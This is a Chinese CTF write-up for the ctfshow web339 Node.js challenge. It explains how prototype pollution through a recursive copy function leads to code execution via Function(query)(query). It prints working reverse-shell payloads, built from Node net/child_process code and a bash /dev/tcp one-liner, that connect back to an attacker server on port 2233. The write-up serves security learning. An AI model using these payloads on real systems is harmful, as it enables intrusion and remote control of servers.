node/v10.19.0
    题目描述处蓝奏云下载源码
    web339.zip

    和 web338 有点相似,不过不同点是

    1. var flag='flag_here';
    2. ....
    3. utils.copy(user,req.body);
    4. if(secert.ctfshow===flag){
    5. res.end(flag);
    6. }

    flag 是变量,具体值不知

    然后还多了个 api.js ,主要关注这行

    1. res.render('api', { query: Function(query)(query)});

    是不是和 web338 里的参考链接 PHITHON 师傅出的 Code-Breaking 2018 Thejs 如出一辙?即可以 RCE,因为这里可污染点存在的匿名函数调用
    https://github.com/lodash/lodash/blob/4.17.4-npm/template.js#L165
    https://github.com/lodash/lodash/blob/4.17.4-npm/template.js#L225
    image.png

    仿照题目中的代码,先写个小demo

    1. function copy(object1, object2){
    2. for (let key in object2) {
    3. if (key in object2 && key in object1) {
    4. copy(object1[key], object2[key])
    5. } else {
    6. object1[key] = object2[key]
    7. }
    8. }
    9. }
    10. user = {}
    11. body = JSON.parse('{"__proto__":{"query":"return 2233"}}');
    12. copy(user, body)
    13. { query: Function(query)(query)}

    image.png
    为什么 query 的值是 2233 呢?也就是为啥会被调用了呢?

    首先看看 query 值是如何被改变的,其实就是通过 web338 的原型链污染,即 JS 中所有的对象的原型都可以继承到 Object,然后终点是 null 对象
    image.png
    如 web338 中所说的,当在当前上下文找不到相应对象时,会遍历 Object 对象是否存在相应的属性。
    image.png
    到这里就很清楚的知道了,为什么 query 的值是 "return 2233" ,因为在调用 copy 时,原型链被污染了。

    至于 { query: Function(query)(query)} 为何为 { query: 2233 }
    JS 的函数实际上都是一个 Function 对象,它的参数为

    1. new Function ([arg1[, arg2[, ...argN]],] functionBody)

    写个小demo
    image.png
    Function 对象传入构造函数里的前面参数是函数的形参,当然可以省略,最后的形参写函数体。
    其实作用和 eval 有点类似,详细可以看
    https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Function

    至此,利用思路明确了,只要污染了 query 对象,就可以执行任意我们想执行的代码,比如反弹个 shell 再获取 flag ~

    然后污染点和 web338 一致,在 login.js 里的 utils.copy(user,req.body); ,代码执行的触发点在 api.jsres.render('api', { query: Function(query)(query)}); 处。

    payload ,这里用 nodejs 原生 socket,防止因系统运行环境问题 shell 弹不回来,这里服务器的监听端口为 2233 ,然后如何是 windows 系统就把 /bin/sh 换成 cmd.exe 应该就可以了。

    1. {"__proto__": {"query": "return (function(){var net = require('net'),cp = require('child_process'),sh = cp.spawn('/bin/sh', []);var client = new net.Socket();client.connect(2233, '服务器IP', function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();"}}

    先本地试试,这里服务器监听端口为 2233

    1. function copy(object1, object2){
    2. for (let key in object2) {
    3. if (key in object2 && key in object1) {
    4. copy(object1[key], object2[key])
    5. } else {
    6. object1[key] = object2[key]
    7. }
    8. }
    9. }
    10. user = {}
    11. body = JSON.parse('{"__proto__": {"query": "return (function(){var net = require(\'net\'),cp = require(\'child_process\'),sh = cp.spawn(\'/bin/sh\', []);var client = new net.Socket();client.connect(2233, \'服务器IP\', function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();"}}');
    12. copy(user, body)
    13. { query: Function(query)(query)}

    image.png
    image.png
    ok,没啥大问题。

    先 POST 一下 login 接口,污染 query 对象
    image.png
    然后直接 POST 一下 api 接口即可。

    emm,发现不行,之后访问 /login/api 接口都是 404 找不到文件 ,shell 也反弹不回来。

    试试别人的

    1. {"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/服务器IP/监听端口 0>&1\"')"}}

    image.png
    image.png

    flag
    image.png

    仔细对比了一下,发现了,感觉是命名空间问题,即 require 可能不被识别,尝试把 require 改为 global.process.mainModule.constructor._load ,同样服务器监听端口为 2233

    1. {"__proto__": {"query": "return (function(){var net = global.process.mainModule.constructor._load('net'),cp = global.process.mainModule.constructor._load('child_process'),sh = cp.spawn('/bin/sh', []);var client = new net.Socket();client.connect(2233, '服务器IP', function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();"}}

    也是先 POST /login 接口污染 query 对象
    image.png

    访问下 /api 接口
    image.png

    反弹 shell 并获取 flag
    image.png

    然后顺便翻了个链接,好像确实如此~
    https://stackoverflow.com/questions/31931614/require-is-not-defined-node-js
    因为 node 是基于 chrome v8 内核的,运行时,压根就不会有 require 这种关键字,模块加载不进来,自然 shell 就反弹不了了。但在 node交互环境,或者写 js 文件时,通过 node 运行会自动把 require 进行编译。

    还有一个其他解,见 web338 中的 ejs RCE,一样的EXP、步骤和利用方式